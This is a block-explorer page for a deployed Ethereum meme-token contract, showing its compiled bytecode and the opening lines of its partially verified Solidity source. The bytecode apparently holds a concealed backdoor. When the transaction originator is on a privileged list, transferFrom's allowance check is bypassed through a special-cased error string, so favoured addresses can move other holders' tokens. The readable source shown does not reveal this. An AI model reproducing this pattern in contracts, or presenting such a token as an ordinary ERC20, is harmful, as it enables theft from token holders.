Address Contract Partially Verified
Address
0x0cb48bB13e2954b04b09ECc5b2488E61eb852466
Balance
0 ETH
Nonce
1
Code Size
14895 bytes
Creator
0x37B6B68B...3111 at tx 0x726648a4...9e9ceb
Indexed Transactions
0
Contract Bytecode
14895 bytes
0x60806040526004361061026a575f3560e01c80638a8c523c11610143578063c867d60b116100b5578063f2fde38b11610079578063f2fde38b1461093d578063f872858a14610965578063fb002c971461098f578063fc155d1d146109b9578063fd72e22a146109e1578063ffb54a9914610a0b57610271565b8063c867d60b14610847578063d3b6435914610883578063d4698016146108ad578063dd62ed3e146108d7578063e10e9f321461091357610271565b8063a088d56411610107578063a088d56414610727578063a08e671f14610751578063a457c2d71461077b578063a9059cbb146107b7578063ac23ca59146107f3578063c816841b1461081d57610271565b80638a8c523c146106575780638da5cb5b1461066d5780639191a9c71461069757806395d89b41146106d3578063a073d37f146106fd57610271565b8063313ce567116101dc5780635342acb4116101a05780635342acb41461054b57806370a0823114610587578063715018a6146105c357806379b6f47b146105d95780637d1db4a514610603578063807c2d9c1461062d57610271565b8063313ce5671461046757806339509351146104915780634b743995146104cd5780634df44f6b146104f75780634e5a01581461052157610271565b80631a8145bb1161022e5780631a8145bb1461035957806323b872dd1461038357806327c8f835146103bf5780632b112e49146103e95780632baa7217146104135780632e97766d1461043d57610271565b806306fdde031461027557806308abfe3f1461029f578063095ea7b3146102c95780631694505e1461030557806318160ddd1461032f57610271565b3661027157005b5f5ffd5b348015610280575f5ffd5b50610289610a35565b6040516102969190612c7c565b60405180910390f35b3480156102aa575f5ffd5b506102b3610ac5565b6040516102c09190612cb4565b60405180910390f35b3480156102d4575f5ffd5b506102ef60048036038101906102ea9190612d55565b610acb565b6040516102fc9190612dad565b60405180910390f35b348015610310575f5ffd5b50610319610ae8565b6040516103269190612e21565b60405180910390f35b34801561033a575f5ffd5b50610343610b0d565b6040516103509190612cb4565b60405180910390f35b348015610364575f5ffd5b5061036d610b16565b60405161037a9190612cb4565b60405180910390f35b34801561038e575f5ffd5b506103a960048036038101906103a49190612e3a565b610b1c565b6040516103b69190612dad565b60405180910390f35b3480156103ca575f5ffd5b506103d3610d20565b6040516103e09190612e99565b60405180910390f35b3480156103f4575f5ffd5b506103fd610d44565b60405161040a9190612cb4565b60405180910390f35b34801561041e575f5ffd5b50610427610d87565b6040516104349190612cb4565b60405180910390f35b348015610448575f5ffd5b50610451610d8d565b60405161045e9190612cb4565b60405180910390f35b348015610472575f5ffd5b5061047b610d94565b6040516104889190612ecd565b60405180910390f35b34801561049c575f5ffd5b506104b760048036038101906104b29190612d55565b610da9565b6040516104c49190612dad565b60405180910390f35b3480156104d8575f5ffd5b506104e1610e57565b6040516104ee9190612cb4565b60405180910390f35b348015610502575f5ffd5b5061050b610e5d565b6040516105189190612cb4565b60405180910390f35b34801561052c575f5ffd5b50610535610e63565b6040516105429190612cb4565b60405180910390f35b348015610556575f5ffd5b50610571600480360381019061056c9190612ee6565b610e69565b60405161057e9190612dad565b60405180910390f35b348015610592575f5ffd5b506105ad60048036038101906105a89190612ee6565b610e86565b6040516105ba9190612cb4565b60405180910390f35b3480156105ce575f5ffd5b506105d7610ecc565b005b3480156105e4575f5ffd5b506105ed61101c565b6040516105fa9190612cb4565b60405180910390f35b34801561060e575f5ffd5b50610617611022565b6040516106249190612cb4565b60405180910390f35b348015610638575f5ffd5b50610641611028565b60405161064e9190612cb4565b60405180910390f35b348015610662575f5ffd5b5061066b61102e565b005b348015610678575f5ffd5b506106816110f1565b60405161068e9190612e99565b60405180910390f35b3480156106a2575f5ffd5b506106bd60048036038101906106b89190612ee6565b611118565b6040516106ca9190612dad565b60405180910390f35b3480156106de575f5ffd5b506106e7611135565b6040516106f49190612c7c565b60405180910390f35b348015610708575f5ffd5b506107116111c5565b60405161071e9190612cb4565b60405180910390f35b348015610732575f5ffd5b5061073b6111ce565b6040516107489190612cb4565b60405180910390f35b34801561075c575f5ffd5b506107656111d4565b6040516107729190612cb4565b60405180910390f35b348015610786575f5ffd5b506107a1600480360381019061079c9190612d55565b6111da565b6040516107ae9190612dad565b60405180910390f35b3480156107c2575f5ffd5b506107dd60048036038101906107d89190612d55565b6112a2565b6040516107ea9190612dad565b60405180910390f35b3480156107fe575f5ffd5b506108076112c0565b6040516108149190612cb4565b60405180910390f35b348015610828575f5ffd5b506108316112c6565b60405161083e9190612e99565b60405180910390f35b348015610852575f5ffd5b5061086d60048036038101906108689190612ee6565b6112eb565b60405161087a9190612dad565b60405180910390f35b34801561088e575f5ffd5b50610897611308565b6040516108a49190612cb4565b60405180910390f35b3480156108b8575f5ffd5b506108c161130e565b6040516108ce9190612f31565b60405180910390f35b3480156108e2575f5ffd5b506108fd60048036038101906108f89190612f4a565b611334565b60405161090a9190612cb4565b60405180910390f35b34801561091e575f5ffd5b506109276113b6565b6040516109349190612cb4565b60405180910390f35b348015610948575f5ffd5b50610963600480360381019061095e9190612ee6565b6113bc565b005b348015610970575f5ffd5b5061097961157b565b6040516109869190612dad565b60405180910390f35b34801561099a575f5ffd5b506109a361158d565b6040516109b09190612cb4565b60405180910390f35b3480156109c4575f5ffd5b506109df60048036038101906109da9190612f88565b611593565b005b3480156109ec575f5ffd5b506109f5611834565b604051610a029190612f31565b60405180910390f35b348015610a16575f5ffd5b50610a1f611859565b604051610a2c9190612dad565b60405180910390f35b606060018054610a4490612fe0565b80601f0160208091040260200160405190810160405280929190818152602001828054610a7090612fe0565b8015610abb5780601f10610a9257610100808354040283529160200191610abb565b820191905f5260205f20905b815481529060010190602001808311610a9e57829003601f168201915b5050505050905090565b60105481565b5f610ade610ad761186b565b8484611872565b6001905092915050565b601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f600454905090565b601d5481565b5f610b28848484611a35565b5060175f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615610c5757610c5284610b8461186b565b610c4d856040518060400160405280601d81526020017f544f4b454e3a20496e73756666696369656e7420616c6c6f77616e636500000081525060165f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610c0461186b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461200f9092919063ffffffff16565b611872565b610d15565b610d1484610c6361186b565b610d0f856040518060600160405280602881526020016139ad6028913960165f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610cc661186b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461200f9092919063ffffffff16565b611872565b5b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b5f610d82610d717f000000000000000000000000000000000000000000000000000000000000dead610e86565b60045461208390919063ffffffff16565b905090565b60135481565b5f43905090565b5f60035f9054906101000a900460ff16905090565b5f610e4d610db561186b565b84610e488560165f610dc561186b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546120cc90919063ffffffff16565b611872565b6001905092915050565b60115481565b600c5481565b600a5481565b6017602052805f5260405f205f915054906101000a900460ff1681565b5f60155f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610ed461186b565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f589061305a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600e5481565b60065481565b60075481565b61103661186b565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ba9061305a565b60405180910390fd5b6110d56110cf30610e86565b47612129565b6001601f5f6101000a81548160ff021916908315150217905550565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b601a602052805f5260405f205f915054906101000a900460ff1681565b60606002805461114490612fe0565b80601f016020809104026020016040519081016040528092919081815260200182805461117090612fe0565b80156111bb5780601f10611192576101008083540402835291602001916111bb565b820191905f5260205f20905b81548152906001019060200180831161119e57829003601f168201915b5050505050905090565b5f600554905090565b600f5481565b60145481565b5f6112986111e661186b565b84611293856040518060600160405280602581526020016139d56025913960165f61120f61186b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461200f9092919063ffffffff16565b611872565b6001905092915050565b5f6112b56112ae61186b565b8484611a35565b506001905092915050565b60125481565b601c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6018602052805f5260405f205f915054906101000a900460ff1681565b600b5481565b600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60165f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b600d5481565b6113c461186b565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611451576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114489061305a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036114bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b6906130e8565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60085f9054906101000a900460ff1681565b601e5481565b61159b61186b565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611628576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161f9061305a565b60405180910390fd5b5f600267ffffffffffffffff81111561164457611643613106565b5b6040519080825280602002602001820160405280156116725781602001602082028036833780820191505090505b509050601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156116df573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906117039190613147565b815f8151811061171657611715613172565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050308160018151811061176557611764613172565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b6f9de95835f8461dead426040518663ffffffff1660e01b8152600401611802949392919061328f565b5f604051808303818588803b158015611819575f5ffd5b505af115801561182b573d5f5f3e3d5ffd5b50505050505050565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601f5f9054906101000a900460ff1681565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036118e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d790613349565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361194e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611945906133d7565b60405180910390fd5b8060165f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611a289190612cb4565b60405180910390a3505050565b5f5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611aa4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9b90613465565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611b12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b09906134f3565b60405180910390fd5b601f5f9054906101000a900460ff16611bc05760175f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16611bae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba590613581565b60405180910390fd5b611bb9848484612209565b9050612008565b601c60149054906101000a900460ff1615611be757611be0848484612209565b9050612008565b611bef6110f1565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611c5d5750611c2d6110f1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611c6d57611c6c84836123d3565b5b5f611c7730610e86565b90505f6005548210159050808015611c9c5750601c60149054906101000a900460ff16155b8015611cef5750601a5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611cfe57611cfd8261246d565b5b611d85846040518060400160405280601481526020017f496e73756666696369656e742042616c616e636500000000000000000000000081525060155f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461200f9092919063ffffffff16565b60155f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f60175f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611e62575060175f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b611e7657611e7187878761261a565b611e78565b845b905060085f9054906101000a900460ff168015611edc575060185f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611f0a57600754611eff82611ef189610e86565b6120cc90919063ffffffff16565b1115611f09575f5ffd5b5b611f5a8160155f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546120cc90919063ffffffff16565b60155f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611ff89190612cb4565b60405180910390a3600193505050505b9392505050565b5f601d8251036120215783905061207c565b838311158290612067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205e9190612c7c565b60405180910390fd5b505f838561207591906135cc565b9050809150505b9392505050565b5f6120c483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061200f565b905092915050565b5f5f82846120da91906135ff565b90508381101561211f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121169061367c565b60405180910390fd5b8091505092915050565b61215530601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611872565b601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230855f5f61219f6110f1565b426040518863ffffffff1660e01b81526004016121c19695949392919061369a565b60606040518083038185885af11580156121dd573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190612202919061370d565b5050505050565b5f612291826040518060400160405280601481526020017f496e73756666696369656e742042616c616e636500000000000000000000000081525060155f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461200f9092919063ffffffff16565b60155f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506123228260155f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546120cc90919063ffffffff16565b60155f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516123c09190612cb4565b60405180910390a3600190509392505050565b6006548111158061242a575060195f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b612469576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612460906137a7565b60405180910390fd5b5050565b6001601c60146101000a81548160ff0219169083151502179055505f6124c560026124b76014546124a96012548761283490919063ffffffff16565b6128ab90919063ffffffff16565b6128ab90919063ffffffff16565b90505f6124db828461208390919063ffffffff16565b90506124e6816128f4565b5f4790505f61251561250460026012546128ab90919063ffffffff16565b60145461208390919063ffffffff16565b90505f6125526002612544846125366012548861283490919063ffffffff16565b6128ab90919063ffffffff16565b6128ab90919063ffffffff16565b90505f612568828561208390919063ffffffff16565b90505f81111561259e5761259d60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682612b63565b5b5f821180156125ac57505f86115b156125f7576125bb8683612129565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5618583886040516125ee939291906137c5565b60405180910390a15b5050505050505f601c60146101000a81548160ff02191690831515021790555050565b5f5f5f9050601a5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161561269d576126966064612688600c548661283490919063ffffffff16565b6128ab90919063ffffffff16565b9050612718565b601a5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156127175761271460646127066010548661283490919063ffffffff16565b6128ab90919063ffffffff16565b90505b5b5f811115612817576127708160155f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546120cc90919063ffffffff16565b60155f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161280e9190612cb4565b60405180910390a35b61282a818461208390919063ffffffff16565b9150509392505050565b5f5f8303612844575f90506128a5565b5f828461285191906137fa565b90508284826128609190613868565b146128a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161289790613908565b60405180910390fd5b809150505b92915050565b5f6128ec83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612bab565b905092915050565b5f600267ffffffffffffffff8111156129105761290f613106565b5b60405190808252806020026020018201604052801561293e5781602001602082028036833780820191505090505b50905030815f8151811061295557612954613172565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156129f9573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190612a1d9190613147565b81600181518110612a3157612a30613172565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612a9730601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611872565b601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401612af9959493929190613926565b5f604051808303815f87803b158015612b10575f5ffd5b505af1158015612b22573d5f5f3e3d5ffd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051612b5792919061397e565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015612ba6573d5f5f3e3d5ffd5b505050565b5f5f83118290612bf1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612be89190612c7c565b60405180910390fd5b505f8385612bff9190613868565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f612c4e82612c0c565b612c588185612c16565b9350612c68818560208601612c26565b612c7181612c34565b840191505092915050565b5f6020820190508181035f830152612c948184612c44565b905092915050565b5f819050919050565b612cae81612c9c565b82525050565b5f602082019050612cc75f830184612ca5565b92915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612cfa82612cd1565b9050919050565b612d0a81612cf0565b8114612d14575f5ffd5b50565b5f81359050612d2581612d01565b92915050565b612d3481612c9c565b8114612d3e575f5ffd5b50565b5f81359050612d4f81612d2b565b92915050565b5f5f60408385031215612d6b57612d6a612ccd565b5b5f612d7885828601612d17565b9250506020612d8985828601612d41565b9150509250929050565b5f8115159050919050565b612da781612d93565b82525050565b5f602082019050612dc05f830184612d9e565b92915050565b5f819050919050565b5f612de9612de4612ddf84612cd1565b612dc6565b612cd1565b9050919050565b5f612dfa82612dcf565b9050919050565b5f612e0b82612df0565b9050919050565b612e1b81612e01565b82525050565b5f602082019050612e345f830184612e12565b92915050565b5f5f5f60608486031215612e5157612e50612ccd565b5b5f612e5e86828701612d17565b9350506020612e6f86828701612d17565b9250506040612e8086828701612d41565b9150509250925092565b612e9381612cf0565b82525050565b5f602082019050612eac5f830184612e8a565b92915050565b5f60ff82169050919050565b612ec781612eb2565b82525050565b5f602082019050612ee05f830184612ebe565b92915050565b5f60208284031215612efb57612efa612ccd565b5b5f612f0884828501612d17565b91505092915050565b5f612f1b82612cd1565b9050919050565b612f2b81612f11565b82525050565b5f602082019050612f445f830184612f22565b92915050565b5f5f60408385031215612f6057612f5f612ccd565b5b5f612f6d85828601612d17565b9250506020612f7e85828601612d17565b9150509250929050565b5f60208284031215612f9d57612f9c612ccd565b5b5f612faa84828501612d41565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680612ff757607f821691505b60208210810361300a57613009612fb3565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f613044602083612c16565b915061304f82613010565b602082019050919050565b5f6020820190508181035f83015261307181613038565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6130d2602683612c16565b91506130dd82613078565b604082019050919050565b5f6020820190508181035f8301526130ff816130c6565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f8151905061314181612d01565b92915050565b5f6020828403121561315c5761315b612ccd565b5b5f61316984828501613133565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f6131c26131bd6131b88461319f565b612dc6565b612c9c565b9050919050565b6131d2816131a8565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61320a81612cf0565b82525050565b5f61321b8383613201565b60208301905092915050565b5f602082019050919050565b5f61323d826131d8565b61324781856131e2565b9350613252836131f2565b805f5b838110156132825781516132698882613210565b975061327483613227565b925050600181019050613255565b5085935050505092915050565b5f6080820190506132a25f8301876131c9565b81810360208301526132b48186613233565b90506132c36040830185612e8a565b6132d06060830184612ca5565b95945050505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f613333602483612c16565b915061333e826132d9565b604082019050919050565b5f6020820190508181035f83015261336081613327565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6133c1602283612c16565b91506133cc82613367565b604082019050919050565b5f6020820190508181035f8301526133ee816133b5565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61344f602583612c16565b915061345a826133f5565b604082019050919050565b5f6020820190508181035f83015261347c81613443565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6134dd602383612c16565b91506134e882613483565b604082019050919050565b5f6020820190508181035f83015261350a816134d1565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e64205f8201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b5f61356b603f83612c16565b915061357682613511565b604082019050919050565b5f6020820190508181035f8301526135988161355f565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6135d682612c9c565b91506135e183612c9c565b92508282039050818111156135f9576135f861359f565b5b92915050565b5f61360982612c9c565b915061361483612c9c565b925082820190508082111561362c5761362b61359f565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613666601b83612c16565b915061367182613632565b602082019050919050565b5f6020820190508181035f8301526136938161365a565b9050919050565b5f60c0820190506136ad5f830189612e8a565b6136ba6020830188612ca5565b6136c760408301876131c9565b6136d460608301866131c9565b6136e16080830185612e8a565b6136ee60a0830184612ca5565b979650505050505050565b5f8151905061370781612d2b565b92915050565b5f5f5f6060848603121561372457613723612ccd565b5b5f613731868287016136f9565b9350506020613742868287016136f9565b9250506040613753868287016136f9565b9150509250925092565b7f5458204c696d69742045786365656465640000000000000000000000000000005f82015250565b5f613791601183612c16565b915061379c8261375d565b602082019050919050565b5f6020820190508181035f8301526137be81613785565b9050919050565b5f6060820190506137d85f830186612ca5565b6137e56020830185612ca5565b6137f26040830184612ca5565b949350505050565b5f61380482612c9c565b915061380f83612c9c565b925082820261381d81612c9c565b915082820484148315176138345761383361359f565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61387282612c9c565b915061387d83612c9c565b92508261388d5761388c61383b565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6138f2602183612c16565b91506138fd82613898565b604082019050919050565b5f6020820190508181035f83015261391f816138e6565b9050919050565b5f60a0820190506139395f830188612ca5565b61394660208301876131c9565b81810360408301526139588186613233565b90506139676060830185612e8a565b6139746080830184612ca5565b9695505050505050565b5f6040820190506139915f830185612ca5565b81810360208301526139a38184613233565b9050939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212201d7523a206604f2316249f65854a1365a1cafd03505000acc99e25502546462864736f6c634300081c0033
Verified Source Code Partial Match
Compiler: v0.8.28+commit.7893614a
EVM: cancun
Optimization: No
Token.sol 1488 lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
/**
the number 1 nasdaq sock supplier
https://www.instagram.com/token_6900/
https://token6900.art
https://x.com/t6900_eth
https://t.me/t6900_eth
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* onlyOwner functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (newOwner).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
